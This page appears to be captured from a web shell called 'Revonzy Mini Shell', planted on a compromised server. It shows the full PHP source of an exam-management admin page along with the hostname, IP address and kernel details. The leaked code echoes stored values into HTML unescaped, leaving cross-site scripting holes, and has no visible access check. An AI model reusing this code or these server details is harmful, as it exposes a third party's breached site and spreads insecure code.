Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/admin/edit-create-exam.php

<?php
require_once("lib/functions.php");
$db = new login_function();
	
	$flag	=	0;
    $edit_id =  "";
if(isset($_GET['edit_id']))
{
    $edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $edit_id;  
}
 $edit_id	 = $_SESSION['edit_id'];

 if(isset($_POST['add3']))
	{
		
		 $exam_name	                 = $_POST['exam_name'];
	    $subject		              = $_POST['subject'];
	    $instruction 	              = $_POST['instruction'];
	    $other_des	                = $_POST['other_des'];
		 $total_marks		         = $_POST['total_marks'];
	    $exam_date			         = $_POST['exam_date'];
		 $exam_time					   = $_POST['exam_time'];
		 $start_time			         = $_POST['start_time'];
		 $end_time					   = $_POST['end_time'];
		 $status = "pending";  
       $amount =$_POST['amount'];
       $reporting_time			         = $_POST['reporting_time'];
       $gate_closure_time					= $_POST['gate_closure_time'];

		$exam_desc = $_POST['exam_desc'];


 if($db->update_exam_details($exam_name,$subject,$instruction,$other_des,$total_marks,$exam_date,$exam_time,$start_time,$end_time,$status,$amount,$reporting_time,$gate_closure_time,$exam_desc,$edit_id))
 {
     $flag = 1;
 }
    
}

$recorded_data = array();

$recorded_data = $db->get_exam_details_from_id($edit_id);

// $recorded_data = $db->get_create_exam_details_from_id1($edit_id);

//print_r($recorded_data);

if(!empty($recorded_data))
{	

    $id                         =$recorded_data[0];
    $exam_name	                =$recorded_data[1];
    $subject		            =$recorded_data[2];
    $instruction  	            =$recorded_data[3];
    $other_des	                =$recorded_data[4];
    $total_marks		         =$recorded_data[5];
    $exam_date	                 =$recorded_data[6];
    $exam_time		              =$recorded_data[7];
    $start_time		              =$recorded_data[8];
    $end_time	                   =$recorded_data[9];
    $status		                    =$recorded_data[10];
    $date		                    =$recorded_data[11];
    $time                          =$recorded_data[12];
    $amount		                    =$recorded_data[13];
    $reporting_time                          =$recorded_data[14];
    $gate_closure_time		                    =$recorded_data[15];
    
    $exam_desc		                    =$recorded_data[16];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Update Exam Details</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	<link href="datatable/datatables.min.css" rel="stylesheet" />

	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/wow.min.js"></script>
	<script>
	function validateForm() {
	  var a = document.forms["myForm"]["customer_name"].value;
	  var c = document.forms["myForm"]["primary_contact"].value;
	 
	 if (a == "") {
		alert("Enter Customer Name");
		return false;
	  }
	 
	  if (c == "") {
		alert("Enter Mobile Number");
		return false;
	  }
	  
	}
	</script>
	

</head>
<body class="fixed-navbar">
  
<div class="page-wrapper" style="min-height:500px;">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="page-content fade-in-up">
				<?php
					if($flag == 1)
					{
					?>
					<div class="alert alert-success">

                    Exam Details Updated Successfully.
						</div>
					<?php
					}
					if($flag == 2)
					{
					?>
					<div class="alert alert-warning">

					Exam Details Failed to Add.
						</div>
					<?php
					}
					?>
                    </div>

<div class="ibox" style="border-radius:5px; padding:7px;">

<div class="ibox-body" style="padding:7px; padding-top:0px;">

<form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
		
		<div class="ibox-head">
			<div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Update Exam Details</div>
		</div>
		
		<div class="ibox-body">
			<div class="row">

                                <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Title/Exam Name</b></label>
                                       <input type="text" name="exam_name" class="form-control  form-control-air" placeholder=" " value="<?php echo $exam_name; ?>" reqired />
                                    </div>
                                 </div>
								 <br/>

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Subject</b></label>
                                       <input type="text" name="subject" class="form-control form-control-air" placeholder="" value="<?php echo $subject; ?>" />
                                    </div>
                                 </div>
                                <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-group mb-4 set-row label_marg"><b>Instructions</b></label>
                                       <input type="text" name="instruction" class="form-control form-control-air" placeholder=" " value="<?php echo $instruction; ?>" reqired />
                                    </div>
                                 </div>

							
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-group mb-4 set-row label_marg"><b>Total Marks</b></label>
                                       <input type="number" name="total_marks" class="form-control form-control-air"  placeholder=" " value="<?php echo $total_marks; ?>" />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label class="form-group mb-4 set-row label_marg"><b>Exam Date</b></label>
                                       <input type="date" name="exam_date" class="form-control form-control-air"  placeholder="Add Tentatiive Exam Date " value="<?php echo $exam_date; ?>" />
                                    </div>
                                 </div>
								   <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Exam Description</b></label>
                                       <input type="text" name="exam_desc" class="form-control form-control-air" placeholder="Enter Other Description"   value="<?php echo $exam_desc; ?>"/>
                                    </div>
                                 </div>
								 	 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Other Description</b></label>
                                       <input type="text" name="other_des" class="form-control form-control-air" placeholder="" value="<?php echo $other_des; ?>" />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Exam Time</b></label>
                                       <input type="time" name="exam_time" class="form-control form-control-air"  placeholder="" value="<?php echo $exam_time; ?>" />
                                    </div>
                                 </div>

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Start Time</b></label>
                                       <input type="time" name="start_time" class="form-control form-control-air"  placeholder="" value="<?php echo $start_time; ?>" />
                                    </div>
                                 </div>

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>End Time</b></label>
                                       <input type="time" name="end_time" class="form-control form-control-air"  placeholder="" value="<?php echo $end_time; ?>" />
                                    </div>
                                 </div>
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Exam Amount</b></label>
                                       <input type="number" name="amount" class="form-control form-control-air" value="<?php echo $amount ?>" placeholder=""  />
                                    </div>
                                 </div>

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Reporting Time</b></label>
                                       <input type="time" name="reporting_time" class="form-control form-control-air"  placeholder="" value="<?php echo $reporting_time ?>" />
                                    </div>
                                 </div>
                                 
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-group mb-4 set-row label_marg"><b>Gate Closure Time</b></label>
                                       <input type="time" name="gate_closure_time" class="form-control form-control-air"  placeholder="" value="<?php echo $gate_closure_time ?>" />
                                    </div>
                                 </div>



                                 <br/>
                                 <br/>

                     </div>

                  </div>
				<div class="col-sm-12 form-group mb-12" style="text-align:center; padding-left:0px; padding-right:0px; padding-top:20px;">
					<div class="col-sm-4 form-group mb-4" style="margin:auto;">
						<button class="btn btn-pink btn-air" type="submit" name="add3" style="width:50%;">Update Exam Details</button>
					</div>
                    <center><a href="create-exam-report.php" style="color:red;font-weight:bold;">Back To List</a></center>
				</div>
			</div>
                
		</div>
	</form>
</div>
</div>
<?php include('footer.php'); ?>
</div>
    </div>
    <?php //include('search.php'); ?>
   
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    
    <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
	<script src="datatable/datatables.min.js"></script>
    <script src="js/app.min.js"></script>
	
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4